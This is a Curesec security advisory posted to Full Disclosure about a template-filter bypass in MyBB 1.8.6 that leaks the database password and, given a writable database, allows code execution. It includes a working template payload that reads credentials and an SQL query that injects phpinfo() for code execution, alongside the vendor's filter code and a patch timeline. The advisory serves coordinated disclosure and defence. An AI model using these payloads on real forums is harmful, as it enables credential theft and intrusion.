[FD] MyBB 1.8.6: Improper validation of data passed to eval

Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyBB 1.8.6 Fixed in: 1.8.7 Fixed Version Link: http://ift.tt/2cMIP1X Vendor Website: http://www.mybb.com/ Vulnerability Type: Improper validation of data passed to eval Remote Exploitable: Yes Reported to vendor: 01/29/2016 Disclosed to public: 09/15/2016 Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview MyBB is forum software written in PHP. In version 1.8.6, it improperly validates templates that are passed to eval, allowing for the disclosure of the database password. If the database is writable from remote, it may also lead to code execution. An admin account is required. 3. Details Description CVSS: Low 3.5 AV:N/AC:M/Au:S/C:P/I:N/A:N MyBB allows an admin to edit templates. These templates can contain HTML, and it is possible to read out the content of PHP variables as well as the properties of objects. There are filters in place which should make it impossible to call functions or to read out sensitive information such as database credentials. Templates are used as following: eval('$variable = "'.$templates->get('templateName').'";'); $templates->get returns the template as saved in the database, with double quotes and slashes escaped. When saving a template, the template is passed to the check_template function to check if it contains malicious content. The checks try to prevent the reading of the database password as well as the calling of functions. This means that none of the naive attempts to read out the database password - eg $config['database']['password'], $config[database][password], or $config ["database"]["password"] - would work. However, it is still possibly to read out the database password by setting the value of an existing variable to "password" and using that variable when reading out the password, thus bypassing the filter. Proof of Concept First, edit a template such as the usercp_profile_contact_fields_field template: http://localhost/mybb_1806/Upload/admin/index.php?module=style-templates&action=edit_template&title=usercp_profile_contact_fields_field&sid=1&expand=15 Add this line at the beginning: {$cfvalue}: {$config['database'][$cfvalue]} Now, visit the profile: http://localhost/mybb_1806/Upload/usercp.php?action=profile As any of the "Additional Contact Information" values, use "password" to read out the database password, "hostname" to read out the hostname, and "username" to read out the user. In case that the database is writable from remote, an attacker could now also gain code execution, as check_template is applied when saving templates, not when loading them. Example query: UPDATE mybb_templates SET template="{${phpinfo()}}" WHERE title= "usercp_profile_contact_fields_field"; Visiting the profile will execute the injected code. Code inc/config.php $config['database']['password'] = '[THE_DATABASE_PASSWORD]'; admin/inc/functions.php function check_template($template) { // Check to see if our database password is in the template if(preg_match("#database'?\\s*\]\\s*\[\\s*'?password#", $template)) { return true; } // System calls via backtick if(preg_match('#\$\s*\{#', $template)) { return true; } // Any other malicious acts? // Courtesy of ZiNgA BuRgA if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))) { return true; } return false; } usercp.php (as one example) foreach(array('icq', 'aim', 'yahoo', 'skype', 'google') as $cfield) { $contact_fields[$cfield] = ''; $csetting = 'allow'.$cfield.'field'; if($mybb->settings[$csetting] == '') { continue; } if(!is_member($mybb->settings[$csetting])) { continue; } $cfieldsshow = true; $lang_string = 'contact_field_'.$cfield; $lang_string = $lang->{$lang_string}; $cfvalue = htmlspecialchars_uni($user[$cfield]); eval('$contact_fields[$cfield] = "'.$templates->get('usercp_profile_contact_fields_field').'";'); } 4. Solution To mitigate this issue please upgrade at least to version 1.8.7: http://ift.tt/2cMIP1X Please note that a newer version might already be available. 5. Report Timeline 01/29/2016 Informed Vendor about Issue 02/26/2016 Vendor requests more time 03/11/2016 Vendor releases fix 09/15/2016 Disclosed to public Blog Reference: http://ift.tt/2cMJ2Sr

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